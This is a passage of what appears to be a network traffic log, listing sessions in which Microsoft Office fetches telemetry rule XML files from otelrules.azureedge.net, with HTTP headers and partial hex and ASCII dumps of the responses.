EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:08 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074409Z-r1cf579d778v97q7hC1EWRf95c0000000190000000004f9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:11 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074411Z-r1cf579d778kr8xrhC1EWRfkun000000025g000000002tm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:11 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074411Z-r1cf579d778t5c2lhC1EWRce3w00000002gg000000000qwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:11 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074411Z-r1cf579d7789trgthC1EWRkkfc00000002hg0000000000bt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:11 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074411Z-r1cf579d7789trgthC1EWRkkfc00000002b00000000047hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:11 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:11 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:14 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074414Z-r1cf579d7782ctslhC1EWRfbrw00000002a0000000000khc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:14 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:13 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074413Z-r1cf579d778dndrdhC1EWR4b2400000001bg0000000038aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:13 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:13 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074413Z-r1cf579d77898tqwhC1EWRf9q800000001vg0000000019se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:13 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:13 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074413Z-r1cf579d778xr2r4hC1EWRqvfs00000001vg000000000zme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:44:13 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:13 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:13 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074413Z-r1cf579d7784wpmvhC1EWRk4cn000000015g000000003f2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:15 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074415Z-r1cf579d7788pwqzhC1EWRrpd80000000210000000001zgh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:15 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074415Z-r1cf579d778dndrdhC1EWR4b2400000001c0000000002xug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
